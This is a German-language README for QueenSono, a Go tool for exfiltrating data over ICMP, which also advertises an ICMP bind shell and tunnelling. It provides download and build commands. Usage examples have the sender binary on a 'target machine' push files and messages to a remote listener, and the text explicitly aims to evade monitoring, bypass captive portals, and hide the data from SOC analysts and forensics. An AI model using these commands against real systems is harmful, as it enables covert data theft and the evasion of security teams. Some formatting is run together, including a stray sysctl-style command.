
Golang-Binärdatei zur Datenexfiltration mit ICMP-Protokoll (+ ICMP-Bindshell, HTTP über ICMP-Tunneling, ...)
QueenSono verlässt sich lediglich darauf, dass das ICMP-Protokoll nicht überwacht wird. Das ist recht üblich. Es könnte auch in einem System mit grundlegender ICMP-Inspektion (z.B. Überwachung von Frequenz und Inhaltlänge) verwendet werden oder um den Authentifizierungsschritt bei Captive Portals zu umgehen (die von vielen öffentlichen WLANs genutzt werden, um Benutzer nach der Verbindung zum WLAN zu authentifizieren, z.B. Flughafen-WLAN). Es versucht, PyExfil (und andere) nachzuahmen, mit dem Gedanken, dass auf dem Zielrechner nicht zwingend Python installiert sein muss (daher könnte die Bereitstellung einer Binärdatei nützlich sein).
Installieren
·
Nutzen
·
Notizen
·
Funktion anfragen
·
🎁
curl> Aus dem Release
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Über go install
Stellen Sie sicher, dass $GOPATH in Ihrem $PATH ist, bevor Sie fortfahren.
Installieren von qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # Binärdatei umbenennen
Installieren von qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # Binärdatei umbenennen
> Binärdatei aus dem Quellcode installieren
Klonen Sie das Repository und laden Sie die Abhängigkeiten lokal herunter:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Um den ICMP-Paket-Sender qssender zu bauen:
build.queensono-sender
Um den ICMP-Paket-Empfänger qsreceiver zu bauen:
build.queensono-receiver
qssender ist die Binärdatei, die ICMP-Pakete an den Listener sendet, also die Binärdatei, die Sie auf Ihr Zielsystem übertragen müssen.
qsreceiver ist der Listener auf Ihrem lokalen Rechner (oder überall dort, wo Sie ICMP-Pakete empfangen können).
Alle Befehle und Flags der Binärdateien finden Sie mit --help.
> In diesem Beispiel möchten wir eine große Datei senden und auf Echo-Antworten warten, um den Empfang der Pakete zu bestätigen (ACK).

Auf dem lokalen Rechner:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 hört auf allen Schnittstellen auf ICMP-Pakete
-f received_bible.txt speichert die empfangenen Daten in einer Datei
-p zeigt einen Fortschrittsbalken der empfangenen Daten anAuf dem Zielrechner:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # große Datei herunterladen (für das Beispiel)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file zum Senden einer Datei (bible.txt ist die betreffende Datei)
-d 2 sendet alle 2 Sekunden ein Paket
-l 0.0.0.0 die Adresse, auf der auf Echo-Antworten gehört wird -r 10.0.0.92 die Adresse meines entfernten Rechners mit laufendem qsreceiver-s 50000 die Datenmenge, die ich in jedem Paket senden möchte> In diesem Beispiel möchten wir eine Nachricht senden, ohne auf eine Echo-Antwort zu warten (dies kann nützlich sein, falls die Firewall des Ziels eingehende ICMP-Pakete filtert).

Auf dem lokalen Rechner:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 wartet nicht unbegrenzt, falls wir nicht alle Pakete empfangen haben. (1 ist die Verzögerung, die bei qssender verwendet wird)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
Auf dem Zielrechner:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N noreply-Option (nicht auf Echo-Antwort warten)
> In diesem Beispiel möchten wir eine verschlüsselte Nachricht senden. Da die Befehlszeile ausspioniert werden könnte, verwenden wir asymmetrische Verschlüsselung (falls der Schlüssel ausläuft, ist das kein Problem).

Auf dem lokalen Rechner:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<AUSGABE ÖFFENTLICHER SCHLÜSSEL>
--encrypt verwendet Schlüsselaustausch. Es wird ein öffentliches/privates Schlüsselpaar generiert. Der öffentliche Schlüssel wird von qssender zum Verschlüsseln der Daten verwendet, der private zum Entschlüsseln mit receiverAuf dem Zielrechner:
$ export MSG="<Ihre Nachricht>"
$ export KEY="<öffentlicher_Schlüssel_aus_der_qsreceiver-Ausgabe>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key gibt den Schlüssel für die Datenverschlüsselung an. Verwenden Sie den vom qsreceiver-Befehl bereitgestellten Schlüssel.
Es wird RSA-Verschlüsselung verwendet, um die ausgetauschten Daten vertraulich zu halten. Dies kann z. B. nützlich sein, um zu verhindern, dass ein SOC (oder die Forensik) bei einer einfachen Analyse sieht, welche Daten ausgetauscht werden, oder einfach aus Datenschutzgründen.
Dies hat jedoch seinen Preis. Die Wahl der asymmetrischen Verschlüsselung ist dadurch motiviert, dass der Verschlüsselungsschlüssel in der Befehlszeile eingegeben wird (also leicht ausgelesen werden kann). Daher verschlüsseln wir Daten mit dem öffentlichen Schlüssel. Falls jemand den Verschlüsselungsschlüssel erhält, kann er die Nachricht so nicht entschlüsseln. Der öffentliche Schlüssel ist jedoch kleiner als der private, sodass er kleinere Nachrichten verschlüsselt. Außerdem ist es rechnerisch aufwändig.
Ein weiterer Punkt: Da wir die Datenmenge / Ping-Anfragen begrenzen möchten (um Erkennung, Fehler usw. zu vermeiden), verwenden Sie die Verschlüsselung nur bei Bedarf, da die Ausgabegröße der Nachricht (sollte) immer der Größe des Modulus (Teil des Schlüssels) entspricht, was groß ist.